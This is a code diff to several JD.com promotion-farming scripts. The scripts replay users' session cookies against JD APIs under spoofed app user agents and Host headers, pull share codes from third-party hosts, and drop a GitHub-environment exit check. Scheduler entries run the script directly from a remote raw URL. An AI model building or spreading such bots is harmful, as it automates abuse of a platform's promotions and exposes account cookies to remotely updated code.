+$.post = validator.injectToRequest($.post.bind($), 'channelSign', $.UA)

 !(async () => {
  if (!cookiesArr[0]) {
@@ -80,7 +90,6 @@ async function showMsg() {
  if ($.isNode() && message) await notify.sendNotify(`${$.name}`, `【签到数量】:  ${turnTableId.length}个\n` + subTitle + message);
 }
 async function signRun() {
-  UA = $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")
  for (let i in turnTableId) {
    signFlag = false
    await Login(i)
@@ -136,7 +145,7 @@ function Login(i) {
      try {
        if (err) {
          console.log(`\n${turnTableId[i].name} 登录: API查询请求失败 ‼️‼️`)
-          throw new Error(err);
+          console.log(`${JSON.stringify(err)}`)
        } else {
          if (data) {
            // console.log(data)
@@ -192,7 +201,7 @@ function getEid(arr) {
      body: `d=${arr.d}`,
      headers: {
        "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8",
-        "User-Agent": UA
+        "User-Agent": $.UA
      }
    }
    $.post(options, async (err, resp, data) => {
@@ -219,7 +228,7 @@ function getEid(arr) {
 }

 function taskUrl(turnTableId) {
-  const url = `https://jdjoy.jd.com/api/turncard/channel/detail?turnTableId=${turnTableId}&invokeKey=qRKHmL4sna8ZOP9F`
+  const url = `${JD_API_HOST}/api/turncard/channel/detail?turnTableId=${turnTableId}&invokeKey=qRKHmL4sna8ZOP9F`
  return {
    url,
    headers: {
@@ -228,15 +237,16 @@ function taskUrl(turnTableId) {
      "Accept-Language": "zh-cn",
      "Connection": "keep-alive",
      'Cookie': cookie,
+      'Host': `jdjoy.jd.com`,
      "Origin": "https://prodev.m.jd.com",
      "Referer": "https://prodev.m.jd.com/",
-      "User-Agent": UA,
+      "User-Agent": $.UA,
    }
  }
 }

 function tasPostkUrl(turnTableId) {
-  const url = `https://jdjoy.jd.com/api/turncard/channel/sign?turnTableId=${turnTableId}&fp=${fp}&eid=${eid}&invokeKey=qRKHmL4sna8ZOP9F`
+  const url = `${JD_API_HOST}/api/turncard/channel/sign?turnTableId=${turnTableId}&fp=${fp}&eid=${eid}&invokeKey=qRKHmL4sna8ZOP9F`
  return {
    url,
    headers: {
@@ -246,9 +256,22 @@ function tasPostkUrl(turnTableId) {
      "Connection": "keep-alive",
      "Content-Type": "application/x-www-form-urlencoded",
      'Cookie': cookie,
+      'Host': `jdjoy.jd.com`,
      "Origin": "https://prodev.m.jd.com",
      "Referer": "https://prodev.m.jd.com/",
-      "User-Agent": UA,
+      "User-Agent": $.UA,
+    }
+  }
+}
+
+function jsonParse(str) {
+  if (typeof str == "string") {
+    try {
+      return JSON.parse(str);
+    } catch (e) {
+      console.log(e);
+      $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie')
+      return [];
    }
  }
 }
@@ -26,7 +26,7 @@ const notify = $.isNode() ? require('./sendNotify') : '';
 //Node.js用户请在jdCookie.js处填写京东ck;
 const jdCookieNode = $.isNode() ? require('./jdCookie.js') : '';
 let jdNotify = true;//是否关闭通知，false打开通知推送，true关闭通知推送
-const randomCount = $.isNode() ? 20 : 5;
+const randomCount = $.isNode() ? 0 : 5;
 //IOS等用户直接用NobyDa的jd cookie
 let cookiesArr = [], cookie = '', message;
 $.tuanList = [];
@@ -36,7 +36,6 @@ if ($.isNode()) {
    cookiesArr.push(jdCookieNode[item])
  })
  if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {};
-  if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0);
 } else {
  cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item);
 }
@@ -46,9 +45,9 @@ const JD_API_HOST = 'https://api.m.jd.com/api';
    $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"});
    return;
  }
-  await getAuthorShareCode('https://www.fastmock.site/mock/cbbb3764093b72da95d9396d19b9a901/jd/jd/jdsyj');
-  //await getAuthorShareCode('https://raw.githubusercontent.com/gitupdate/updateTeam/master/shareCodes/jd_zz.json');
-  //await getRandomCode();
+  // await getAuthorShareCode('http://cdn.annnibb.me/jd_zz.json');
+  // await getAuthorShareCode('https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jd_zz.json');
+  await getRandomCode();
  for (let i = 0; i < cookiesArr.length; i++) {
    if (cookiesArr[i]) {
      cookie = cookiesArr[i];
@@ -70,32 +69,33 @@ const JD_API_HOST = 'https://api.m.jd.com/api';
      await main();
    }
  }
-  for (let i = 0; i < cookiesArr.length; i++) {
-    $.canHelp = true
-    if (cookiesArr[i]) {
-      cookie = cookiesArr[i];
-      $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
-      if ($.canHelp && (cookiesArr.length > $.assistNum)) {
-        if ($.tuanList.length) console.log(`开始账号内部互助`)
-        for (let j = 0; j < $.tuanList.length; ++j) {
-          console.log(`账号 ${$.UserName} 给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`)
-          await helpFriendTuan($.tuanList[j])
-          if(!$.canHelp) break
-          await $.wait(200)
-        }
-      }
-      if ($.canHelp) {
-        $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])];
-        if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动，如有剩余则给作者lxk0301和随机团助力`)
-        for (let j = 0; j < $.authorTuanList.length; ++j) {
-          //console.log(`账号 ${$.UserName} 开始给作者lxk0301和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`)
-          await helpFriendTuan($.authorTuanList[j])
-          if(!$.canHelp) break
-          await $.wait(200)
-        }
-      }
-    }
-  }
+  // console.log(`\n\n内部互助 【赚京豆(微信小程序)-瓜分京豆】活动(优先内部账号互助(需内部cookie数量大于${$.assistNum || 4}个)，如有剩余助力次数则给作者lxk0301和随机团助力)\n`)
+  // for (let i = 0; i < cookiesArr.length; i++) {
+  //   $.canHelp = true
+  //   if (cookiesArr[i]) {
+  //     cookie = cookiesArr[i];
+  //     $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1])
+  //     if ($.canHelp && (cookiesArr.length > $.assistNum)) {
+  //       if ($.tuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动，优先内部账号互助`)
+  //       for (let j = 0; j < $.tuanList.length; ++j) {
+  //         console.log(`账号 ${$.UserName} 开始给 【${$.tuanList[j]['assistedPinEncrypted']}】助力`)
+  //         await helpFriendTuan($.tuanList[j])
+  //         if(!$.canHelp) break
+  //         await $.wait(200)
+  //       }
+  //     }
+  //     if ($.canHelp) {
+  //       $.authorTuanList = [...$.authorTuanList, ...($.body1 || [])];
+  //       if ($.authorTuanList.length) console.log(`开始账号内部互助 赚京豆-瓜分京豆 活动，如有剩余则给作者lxk0301和随机团助力`)
+  //       for (let j = 0; j < $.authorTuanList.length; ++j) {
+  //         console.log(`账号 ${$.UserName} 开始给作者lxk0301和随机团 ${$.authorTuanList[j]['assistedPinEncrypted']}助力`)
+  //         await helpFriendTuan($.authorTuanList[j])
+  //         if(!$.canHelp) break
+  //         await $.wait(200)
+  //       }
+  //     }
+  //   }
+  // }
 })()
    .catch((e) => {
      $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')
@@ -114,8 +114,8 @@ async function main() {
  try {
    // await userSignIn();//赚京豆-签到领京豆
    await vvipTask();//赚京豆-加速领京豆
-    await distributeBeanActivity();//赚京豆-瓜分京豆
-    await showMsg();
+    // await distributeBeanActivity();//赚京豆-瓜分京豆
+    // await showMsg();
  } catch (e) {
    $.logErr(e)
  }
@@ -693,7 +693,7 @@ function openTuan() {
 function getAuthorShareCode(url) {
  return new Promise(resolve => {
    const options = {
-      url: `${url}?${Date.now()}`, "timeout": 10000, headers: {
+      url: `${url}`, "timeout": 10000, headers: {
        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88"
      }
    };
@@ -724,7 +724,7 @@ function getAuthorShareCode(url) {
  })
 }
 async function getRandomCode() {
-  await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => {
+  await $.http.get({url: `https://raw.fastgit.org/zero205/updateTeam/master/shareCodes/jd_zz.json`, timeout: 10000}).then(async (resp) => {
    if (resp.statusCode === 200) {
      try {
        let { body } = resp;
@@ -5,7 +5,7 @@

 无需京喜token,只需京东cookie即可.

-京喜农场:脚本更新地址 jd_jxnc.js
+京喜农场:脚本更新地址 https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js
 更新时间：2021-06-3
 活动入口：京喜APP我的-京喜农场
 东东农场活动链接：https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2
@@ -15,21 +15,21 @@

 ==========================Quantumultx=========================
 [task_local]
-0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true
+0 9,12,18 * * * https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true
 =========================Loon=============================
 [Script]
-cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场
+cron "0 9,12,18 * * *" script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js,tag=京喜农场

 =========================Surge============================
-京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js
+京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js

 =========================小火箭===========================
-京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true
+京喜农场 = type=cron,script-path=https://gitee.com/lxk0301/jd_scripts/raw/master/jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true
 */

 const $ = new Env('京喜农场');
 let notify = ''; // nodejs 发送通知脚本
-let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子;
+let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 0 : 0; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子;
 let notifyBool = true; // 代码内部使用，控制是否通知
 let cookieArr = []; // 用户 cookie 数组
 let currentCookie = ''; // 当前用户 cookie
@@ -187,7 +187,7 @@ function requireConfig() {

    try {
      let options = {
-        "url": ``,
+        "url": `https://raw.fastgit.org/zero205/updateTeam/main/shareCodes/jxnc.txt`,
        "headers": {
          "Accept": "application/json,text/plain, */*",
          "Content-Type": "application/x-www-form-urlencoded",
@@ -527,7 +527,7 @@ function getAssistUser() {
  return new Promise(resolve => {
    try {
      $.get({
-        url: `https://api.ninesix.cc/api/jx-nc?active=${$.info.active}`,
+        url: `https://api.ninesix.cc/`,
        timeout: 10000
      }, async (err, resp, _data) => {
        try {